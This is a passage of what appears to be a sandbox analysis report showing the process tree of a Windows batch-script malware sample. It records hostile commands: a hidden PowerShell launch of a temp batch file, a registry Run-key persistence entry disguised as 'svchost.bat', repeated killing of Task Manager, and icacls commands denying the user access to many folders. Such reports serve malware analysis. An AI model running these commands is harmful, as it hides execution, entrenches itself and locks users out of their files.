      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:3824
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4804
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:2260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:220
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3888
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:4832
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:4920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:3360
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1936
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:1960
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:4568
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3292
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:5796
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:1872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:4192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:4296
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:5704
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:4236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:3112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:3108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3408
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:5492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:5532
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:4216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4400
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:2892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4328
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:5272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3096
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:5872
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  PID:2336
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:4684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2792
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:3476
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:1308
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:2160
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:5136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2784
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:5900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:5416
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:6044
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:2440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5884
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:1872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:4952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:1848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:5576
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:4696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:2436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:3984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5088
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:5096
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5196
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:5992
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5884
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:2900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:5640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:5116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:2900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:2772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:3000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:5416
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:5180
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5852
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:5636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4656
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:1560
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3320
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2956
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:4116
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:4156
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:3340
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:5248
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:4396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:3900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5392
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:1160
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5180
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:1108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1452
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:2900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:4148
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:1080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5504
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1788
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:1260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6132
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:1452
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:4236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:1608
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3888
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:1076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2796
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:3904
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3360
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:5248
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:5348
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:3892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2160
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:2848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2700
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:2960
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:5852
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5308
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:3680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:6136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1788
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:1396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:5968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:5824
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2380
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:2848
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4304
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:5076
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:1068
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:3908
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:4248
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6008
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:1420
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4728
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:5332
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:6044
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:1560
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:4696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5416
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:3344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:4120
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:1452
  - - C:\Windows\system32\icacls.exe
